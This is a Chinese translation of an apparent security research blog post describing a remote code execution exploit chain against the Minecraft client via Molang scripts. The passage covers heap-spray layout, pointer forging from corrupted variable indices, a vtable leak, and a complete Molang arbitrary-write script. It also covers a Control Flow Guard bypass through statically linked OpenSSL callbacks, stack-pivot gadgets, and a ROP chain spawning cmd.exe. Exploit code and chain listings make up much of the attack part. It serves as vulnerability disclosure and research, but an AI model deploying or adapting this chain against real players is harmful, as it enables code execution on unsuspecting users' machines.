我们意识到,第二个指针不一定非要位于 MolangVariableMap + 4,它也可以位于 MolangVariableMap + 2,这样就能同时解决我们的两个问题。
让我们重新看一下前面的例子,不过这次 variable.b 指向 MolangVariableMap + 2:
+-------------+-------------+
| a0 bb cc dd | 80 1c 00 00 |
+-------------+-------------+
^ ^
+-------------+ | |
| variable.a +-----+ |
+-------------+ |
| variable.b +-----------+
+-------------+\
| . . . |
通过这种设置,我们可以通过先保存地址的高 48 位,来计算相对于 variable.f 的任意地址:
variable.saved_upper_48 = variable.b;
此时,variable.saved_upper_48 保存的值是 0x1c80ddcc。
为了修复前面无法递增非法 float 值的问题,我们只需清零高 48 位:
variable.b = 0;
结果如下:
+-------------+-------------+
| a0 bb 00 00 | 00 00 00 00 |
+-------------+-------------+
^ ^
+-------------+ | |
| variable.a +-----+ |
+-------------+ |
| variable.b +-----------+
+-------------+\
| . . . |
现在,variable.a 的值只跨越 16 位(具体为 0xbba0),由于它远小于 FLT_MAX,因此始终是一个合法 float。
现在我们可以安全地通过递增 variable.a 来调整指针的低 16 位:
variable.a = variable.a + itof(0x8);
结果为:
+-------------+-------------+
| a8 bb 00 00 | 00 00 00 00 |
+-------------+-------------+
^ ^
+-------------+ | |
| variable.a +-----+ |
+-------------+ |
| variable.b +-----------+
+-------------+\
| . . . |
如果我们只想将指针增加 8,那么最后恢复高 48 位即可:
variable.b = variable.saved_upper_48;
得到一个再次合法的指针:
+-------------+-------------+
| a8 bb cc dd | 80 1c 00 00 |
+-------------+-------------+
^ ^
+-------------+ | |
| variable.a +-----+ |
+-------------+ |
| variable.b +-----------+
+-------------+\
| . . . |
但是,如果我们想将指针增加一个超过 16 位所能表示范围的值,那么我们需要继续,先保存已经调整过的低 16 位:
variable.saved_adjusted_lower_16 = variable.a;
接下来,我们需要提取地址的中间 16 位和高 16 位。我们先恢复此前保存的高 48 位:
variable.a = variable.saved_upper_48;
这会产生如下状态:
+-------------+-------------+
| cc dd 80 1c | 00 00 00 00 |
+-------------+-------------+
^ ^
+-------------+ | |
| variable.a +-----+ |
+-------------+ |
| variable.b +-----------+
+-------------+\
| . . . |
如上所示,variable.b 现在包含地址的高 16 位(0x1c80),我们可以将其保存为 variable.saved_upper_16 = variable.b。与此同时,variable.a 同时包含中间 16 位和高 16 位。为了分离出中间位,我们只需清零 variable.b:
variable.b = 0;
结果为:
+-------------+-------------+
| cc dd 00 00 | 00 00 00 00 |
+-------------+-------------+
^ ^
+-------------+ | |
| variable.a +-----+ |
+-------------+ |
| variable.b +-----------+
+-------------+\
| . . . |
现在我们可以保存中间 16 位:
variable.saved_middle_16 = variable.a;
此时,我们拥有:
variable.saved_adjusted_lower_16 = 0xbba8
variable.saved_middle_16 = 0xddcc
variable.saved_upper_16 = 0x1c80
这三个部分都是合法的 float 值,确保了计算的确定性。
如果我们需要将指针增加超过最大 16 位值的范围,那么我们只需相应地递增中间部分和高位部分即可:
variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);
variable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);
在修改完这三个 16 位部分后,我们可以通过逆转提取过程来重建完整指针。首先伪造高 48 位:
variable.a = variable.saved_adjusted_middle_16;
将 variable.a 设置为 0xddcd(0xddcc + 1),然后:
variable.b = variable.saved_adjusted_upper_16;
使 variable.b 的值变为 0x1c81(0x1c80 + 1):
+-------------+-------------+
| cd dd 81 1c | 00 00 00 00 |
+-------------+-------------+
^ ^
+-------------+ | |
| variable.a +-----+ |
+-------------+ |
| variable.b +-----------+
+-------------+\
| . . . |
现在我们保存调整后的高 48 位:
variable.saved_adjusted_upper_48 = variable.a;
最后,拼接上低 16 位:
variable.a = variable.saved_adjusted_lower_16;
+-------------+-------------+
| a8 bb 00 00 | 00 00 00 00 |
+-------------+-------------+
^ ^
+-------------+ | |
| variable.a +-----+ |
+-------------+ |
| variable.b +-----------+
+-------------+\
| . . . |
然后通过设置:
variable.b = variable.saved_adjusted_upper_48;
我们就伪造出了最终调整后的指针:
+-------------+-------------+
| a8 bb cd dd | 81 1c 00 00 |
+-------------+-------------+
^ ^
+-------------+ | |
| variable.a +-----+ |
+-------------+ |
| variable.b +-----------+
+-------------+\
| . . . |
借助这个方法,我们现在可以计算出任何我们想要的指针。不过,前面的问题仍然存在:我们如何在堆上找到一个指向 MolangVariableMap + 2 的指针?
最终,我们意识到我们并不一定需要一个指向 MolangVariableMap + 2 的指针。相反,我们需要的是堆上的任意两个指针,其中一个指向 addr,另一个指向 addr + 2(只要 addr 位于可写区域内即可)。思路是将这两个指针作为一个工作区,在那里拆分、操作并重建一个指针。
在这种情况下,我们需要破坏一个额外(第三个)变量的索引,使其索引到 MolangVariableMap 的 buf 字段。一旦新指针被伪造出来,我们就可以利用这个变量将其赋值为这个伪造后的指针:
variable.corrupted_var_map_ptr = variable.a;
如前所述,这个操作会复制完整的 64 位 value 字段(在这个例子中即重建后的指针),并将其写入 variable.corrupted_var_map_ptr,即便类型本身只是一个 32 位 float。
寻找未对齐指针
这一步需要一个可用于堆喷射的结构,它包含两个相隔两字节的指针(ptr 和 ptr + 2)。幸运的是,我们不必找太远,因为我们已经熟悉一个合适的结构。
MolangIndexMap 是位于每个实体对象中的一个 std::vector<uint16_t>。如前所述,一个 std::vector 包含三个指针:buf(已分配缓冲区的起始位置)、len(最后一个元素之后)和 cap(已分配缓冲区的结束位置)。由于元素类型是 uint16_t,每次添加一个新元素时,len 指针都会前进 2 字节。
我们可以通过不断添加元素直到 vector 只差一个元素就满的方式,让 len 指针等于 cap - 2。在实践中,这可以通过向实体中填充此前未见过的变量来实现。
+-> +---------------+
| | |
| | . . . |
| | |
| +-------+-------+
| | 00 f0 | 00 f1 |
| +-------+-------+
| | 00 f2 | 00 f3 |
| +-------+-------+
std::vector<uint16_t> | | 00 f4 | 00 f5 |
MolangIndexMap | +-------+-------+
+----------------+ | | 00 f6 | 00 00 |
buf | 0x1c54f7a13200 | --+ +-------+-------+
+----------------+ ^ ^
len | 0x1c54f7a13306 | --------------+ |
+----------------+ |
cap | 0x1c54f7a13308 | ----------------------+
+----------------+
总结一下,最终的设置需要覆盖三个变量的索引:一个会索引到上方实体对象中的 MolangVariableMap 的 buf 指针,一个会索引到 len,最后一个会索引到同一个上方实体对象中的 MolangIndexMap 的 cap 指针。
被破坏的变量 variable.corrupted_len_ptr 和 variable.corrupted_cap_ptr 分别指向 len 和 cap,它们相隔两个字节。利用这两个变量,我们可以使用前面描述的方法计算任意指针。第三个被破坏的变量 variable.corrupted_var_map_ptr 指向 MolangVariableMap 的 buf 字段;它用于将计算出的指针复制到 MolangVariableMap 的已分配缓冲区中,从而让我们能够覆盖另一个(第四个)变量的指针。这个第四个被破坏的变量,才是我们最终用于任意读/写的变量。
不过,在我们能够进行任何任意内存操作之前,我们还需要一个泄露,理想情况下是任意一个 Minecraft 可执行映射区域的地址,这样我们才能对目标内存区域执行任意读写。
泄露指针
在 C++ 中,一个对象的第一个字段通常是一个 vtable 指针,也就是一个指向内存中可执行文件只读区域的指针。这意味着实体对象的第一个字段包含一个位于 Minecraft 可执行文件内部的地址,而我们想要在 Molang 脚本中恢复出这个值。
Entity Object
+------------+------------+
| vtable ptr | |
+------------+ |
| |
| |
| |
| |
| |
| |
+-> +------------+------------+
| | buf | len |
MolangIndexMap -+ +------------+------------+
| | cap | |
+--+-> +------------+------------+
| | buf | len |
MolangVariableMap -+ +------------+------------+
| | cap | |
+----> +------------+ |
| |
+-------------------------+
MolangVariable 内部的 value 字段位于偏移 0x38。我们已经控制了一个被破坏的变量 variable.corrupted_len_ptr,我们可以通过添加未见过的变量来移动其目标:每添加一个未见过的变量,MolangIndexMap 的 len 字段就增加 2 字节,从而使 variable.corrupted_len_ptr 也前进 2 字节。
通过移动 len 使其等于 cap - 0x38,variable.corrupted_len_ptr 的 value 字段就会与上方相邻堆块的前 8 个字节重叠。在我们的案例中,这个相邻块就是通过堆喷射操控得到的实体对象,这意味着这前 8 个字节就是该实体的 vtable 指针。然后我们可以通过以下方式捕获这个指针:
variable.saved_vtable_pointer = variable.corrupted_len_ptr;
保存泄露后,我们再添加 27 个未见过的变量,将 len 推进到等于 cap - 2。这就建立起了我们的任意读/写原语所需的设置,同时将泄露出来的 vtable 地址保存在 variable.saved_vtable_pointer 中。
一个将值 0x1337 任意写入到地址 vtable + 0x1000 的 Molang 脚本如下所示:
// 计算低 16 位
variable.corrupted_len_ptr = variable.saved_vtable_lower_16;
variable.corrupted_cap_ptr = 0;
// 减去 `value` 字段在 MolangVariable 中的偏移(0x38)
variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);
variable.calculated_lower_16 = variable.corrupted_len_ptr;
// 计算中间 16 位,并检查低 16 位计算是否溢出
variable.corrupted_len_ptr = variable.saved_vtable_middle_16;
variable.corrupted_cap_ptr = 0;
(variable.calculated_lower_16 >= itof(0x10000)) ? {
variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);
};
variable.calculated_middle_16 = variable.corrupted_len_ptr;
// 计算高 16 位,并检查中间 16 位计算是否溢出
variable.corrupted_len_ptr = variable.saved_vtable_high_16;
variable.corrupted_cap_ptr = 0;
(variable.calculated_middle_16 >= itof(0x10000)) ? {
variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);
};
variable.calculated_high_16 = variable.corrupted_len_ptr;
// 构造最终指针
variable.corrupted_len_ptr = variable.calculated_middle_16;
variable.corrupted_cap_ptr = variable.calculated_high_16;
variable.calculated_upper_48 = variable.corrupted_len_ptr;
variable.corrupted_len_ptr = variable.calculated_lower_16;
variable.corrupted_cap_ptr = variable.calculated_upper_48;
// 将构造出的指针复制到 MolangVariableMap
variable.corrupted_var_map_ptr = variable.corrupted_len_ptr;
// variable.f 指针现在是 `vtable + 0x1000 - 0x38`
// 而值 0x1337 被写入到 `vtable + 0x1000`
variable.f = itof(0x1337);
所需的堆布局
为了确保我们的攻击生效,堆喷射在索引被覆盖后需要将布局操纵成如下形式:
Heap Region 1 Heap Region 2
+-------------------+ +-------------------+
| | | |
| MolangVariableMap | | MolangIndexMap |
| | | |
+-------------------+ +-------------------+
| | | |
| Entity Object | | Entity Object |
| | | |
+-------------------+ +-------------------+
| | | |
| MolangVariableMap | | MolangIndexMap |
| | | |
+-------------------+ +-------------------+
| | | |
| Entity Object | | Entity Object |
| | | |
+-------------------+ +-------------------+
第一个 region(Heap Region 1)包含交替出现的 MolangVariableMap 已分配缓冲区和实体对象。这个 region 的目的是,一旦某个变量索引越界,它就可以索引到实体对象中 MolangVariableMap 和 MolangIndexMap 的内部 std::vector 指针,从而支撑我们的主攻击。
第二个 region(Heap Region 2)包含交错排列的 MolangIndexMap 已分配缓冲区和实体对象。这个 region 的存在是为了让我们在主攻击期间能够将一个实体对象的 vtable 指针泄露到 variable.corrupted_len_ptr 中。理论上可以是任意带有 vtable 的对象,但为了简化,我们使用实体对象。
在攻击过程中,使用 variable.corrupted_var_map_ptr = variable.corrupted_len_ptr 覆盖另一个变量的指针时,很可能会破坏的是一个不同实体中的 variable.f 指针,而不是最初遭受索引破坏的那个实体中的指针。实际上这意味着:一个受到初始破坏影响的实体会负责泄露并计算任意读/写地址,然后利用该地址去覆盖第二个、独立实体中的某个变量指针。第二个实体随后纯粹用于通过该变量执行任意读写。
由于这种跨实体行为,我们必须同步所有实体。在我们实现该利用时,还找不到一种干净的方式来强制同步执行。我们的变通方法是将所有已分配实体放置在世界中的同一个位置,并把 Molang 脚本放进动画部分。动画脚本不会对客户端视野之外的实体执行,因此在这些实体变得可见之前,所有 Molang 代码都不会运行。
最终利用分为三个阶段:
- 将玩家定位到喷射出的实体不在视野内的位置(它们的 Molang 脚本保持休眠)
- 使用告示牌执行堆喷射,以为攻击创建期望的布局
- 移动客户端,使所有喷射出的实体进入视野,它们的动画脚本(我们的 Molang payload)便会执行,从而触发泄露以及后续的任意读/写原语
初始破坏变体:LFH Heap 方法
如上所述,LFH heap chunk 没有头部,chunk 数据是相邻的,因此该攻击也可以在 LFH heap 中完成,而不是在 VS heap 中。在这种情况下,不需要 chunk overlap 方法,溢出的 4 字节值可以直接用来覆盖前两个变量索引。
全局变量映射中不存在索引 0 的变量,因为当遇到一个新变量时,它会被赋值为 last_index + 1,而 last_index 在程序启动时初始化为 0。因此,4 字节溢出的前两个字节无关紧要,只有最后两个字节会覆盖一个单独的变量索引。
可以通过让最终的索引指向 MolangIndexMap 的 buf 字段来安排主攻击。从那里,脚本可以通过使用字符串类型,在 MolangIndexMap 内偏移 0x38 的位置覆盖三个变量索引。之所以可行,是因为 Molang 字符串的值只是一个 uint64_t 的 FNV-1 hash;可以通过暴力搜索找到所需字符串,使其 hash 包含这三个目标索引。例如,要将三个索引覆盖为 0xfb、0xfc 和 0xfd,脚本会执行:
variable.corrupted_index_map_ptr = 'r80n3jsuc';
这一行会将 uint64_t 值 0x302700fb00fc00fd(字符串的 FNV-1 hash)写入已分配的 MolangIndexMap 缓冲区,覆盖三个索引为所需值,并建立所需的任意读 / 写原语状态。
劫持执行流
尽管我们可以在 Minecraft 内存区域内任意读写值,包括可写 .data 段中的许多 vtable 和函数指针,但利用还没有完成:Control Flow Guard(CFG)阻止我们通过覆盖这些指针并执行 ROP chain 来获得任意代码执行。
CFG 是一种运行时缓解机制,会阻止跳转/间接调用到未批准地址;如果发生到不在其有效目标集合中的位置的间接转移,它会导致程序崩溃。
检查 Minecraft 特有函数及其反汇编后,可以看到如下内容:

这段代码在对象上调用一个方法:rcx 持有对象指针,第一条 mov 将对象的 vtable 加载到 rax 中,随后 rax + 0x8 处的函数指针被读入 rax。最后调用 __guard_dispatch_icall_fptr,这就是 CFG 的分发函数,它会在真正调用前验证 rax 是否是合法的调用目标。
Minecraft 目录中的所有 DLL 都是带 CFG 编译的。不过,后来我们在 Minecraft 可执行文件中发现了一段汇编代码,它直接调用对象方法,而不经过 CFG 分发:

这里,vtable + 0x10 处的函数指针被加载到 rdx,然后被直接调用。
这段代码来自 OpenSSL,而所有 OpenSSL 相关的 section 中都没有 CFG 分发调用。推测 OpenSSL 是在未启用 CFG 的情况下编译,然后被静态链接进可执行文件的。
因此,剩下的任务就是在 Minecraft 的可写 section 中定位 OpenSSL 函数或 vtable 指针,并将它们用作覆盖目标来劫持执行流。
定位可覆盖目标
我们最早识别出的目标之一是 malloc 和 free 回调。它们位于 .data section 中,并且会在它们与预期的 OPENSSL_malloc/free 符号不匹配时被调用:

然而,没有任何寄存器持有一个指向可控区域的指针,以便我们将 ROP chain 放在那里。
后来,我们发现了另一个有希望的函数:ossl_ec_key_new_method_int。这个函数创建并初始化一个 EC_KEY 对象。它之所以特别有趣,是因为它依赖于一个包含函数指针的全局结构(位于 .data 中):

在上图中,ret->meth 被设置为 default_ec_key_meth,后者指向位于 .data 中的一个函数指针结构。随后它调用 ret->meth->init,并将 this 指针(ret)传入。这本身并不是特别有用,因为 ret 是在堆上分配的。
但是,如果我们观察反汇编中 ret->meth->init 的调用方式:

如果 ret->meth->init 不为 NULL,那么调用它时,rax 仍然保存着 ret->meth 的值,也就是一个指向位于 .data 中、由我们控制的结构的指针。这非常理想,因为我们可以将 default_ec_key_meth 覆盖为一个指向 .data 中某个区域的指针,而我们的 ROP chain 就放在这个区域里,然后使用一个 mov rsp, rax; ret 风格的 gadget 进行 stack pivot。
尽管我们发现 ossl_ec_key_new_method_int 从未被 Minecraft 进程调用,但这最终并不是问题,因为我们已经找到了一种通过 OPENSSL_malloc/free 回调触发任意函数调用的方法。
Stack Pivot
此时,计划如下:将我们的 ROP chain 写入 .data 中一个可控区域,覆盖 default_ec_key_meth 来建立 stack pivot,最后再覆盖一个回调,使调用它时触发 ossl_ec_key_new_method_int。这最终会调用 default_ec_key_meth->init,从而执行 pivot 并开始 ROP 执行。
我们选择覆盖 OPENSSL_free 回调。这只会造成一个轻微的内存泄露,而如果覆盖 OPENSSL_malloc,则要求我们的替换函数返回一个可写且未使用的内存区域。
对于 stack pivot,我们找到了两个有用的 gadget:add rsp, 0x10; pop r14; ret 和 xchg rsp, rax; ret。利用会像这样将它们写入 .data:
+-----------------------------+
+0x00 | add rsp, 0x10; pop r14; ret |
+-----------------------------+
+0x08 | padding |
+-----------------------------+
+0x10 | xchg rsp, rax; ret |
+-----------------------------+
+0x18 | padding (pop r14) |
+-----------------------------+
+0x20 | ROP Chain |
+-----------------------------+
第二个 gadget xchg rsp, rax; ret 被放置在对应 init 函数指针的槽位中。如前所述,当 ret->meth->init 被调用时,rax 中保存的是一个指向 default_ec_key_meth 的指针,而我们已经覆盖了它,现在它指向 .data 中的 add rsp, 0x10; pop r14; ret gadget。
当调用发生时,xchg rsp, rax 会将栈指针与 .data 中这个可控指针交换,实际上把 rsp 移动到我们的 ROP 区域中。ret 之后,执行会继续到 add rsp, 0x10; pop r14; ret,它会将 rsp 前进 0x18 字节,跳过 padding 和 xchg rsp, rax; ret gadget。从那里开始,stack pivot 就完成了,而放在 xchg rsp, rax; ret 之上的 ROP chain 会开始执行。
ROP Chain
在演示中,ROP chain 只是简单地调用 system("cmd.exe")。由于 Minecraft 不使用 system,因此这个符号没有被导入,所以 chain 必须动态解析它。
这很直接:chain 首先调用 GetModuleHandle("ucrtbase.dll") 获取 ucrtbase.dll 的基地址(它导出了 system)。然后它调用 GetProcAddress(ucrtbase_addr, "system") 获取该函数的地址。最后,它以 "cmd.exe" 字符串作为参数调用 system。
在利用脚本中,ROP chain 大致如下所示:
## 获取 `GetModuleHandle` 的地址到 `rax`
rop.gadget(pop_r8)
rop.gadget(addr_get_module_handle_a - 0x28)
## 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret
rop.gadget(mov_rax_r8_28)
## 调用 `GetModuleHandle("ucrtbase.dll")`
rop.gadget(pop_rcx)
rop.gadget(0x7468B68) # "ucrtbase.dll" 字符串的偏移
rop.gadget(ret) # movaps 对齐
rop.gadget(push_rax_ret) # 调用 `GetModuleHandle`
rop.literal(u64(b"ucrtbase"))
rop.literal(u64(b".dll\x00\x00\x00\x00"))
rop.literal(u64(b"system\x00\x00"))
## 调用 `GetProcAddress(ucrtbase_base, "system")`
rop.gadget(xchg_rcx_rax) # 将 `GetModuleHandle` 的返回值移动到 rcx
rop.gadget(pop_rdx)
rop.gadget(0x7468B68 + 0x10) # "system" 字符串的偏移
rop.gadget(get_proc_addr)
## 调用 `system("cmd.exe")`
rop.gadget(pop_rcx)
rop.gadget(0x7468DB8) # "cmd.exe" 字符串的偏移
rop.gadget(ret) # movaps 对齐
rop.gadget(push_rax_ret) # 调用 `system`
rop.literal(u64(b"cmd.exe\x00"))
演示
下面的演示视频展示了一个 Molang 脚本如何通过任意读写原语执行前面的 ROP chain:
你的浏览器不支持 video 标签。
结论
这篇博文相当长,这也反映出现代缓解机制让远程利用变得极其繁琐,但仍非不可能。
它还展示了一种有趣的技术:滥用 Molang 来实现 RCE,而无需依赖客户端信息泄露。
最后,它也凸显了安全领域中一个尚未被充分探索的方向:电子游戏。即使是像 Minecraft 这样极其流行的游戏,也包含庞大、复杂且尚未被充分探索的攻击面。
- 原文链接: osec.io/blog/2026-06-02-...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~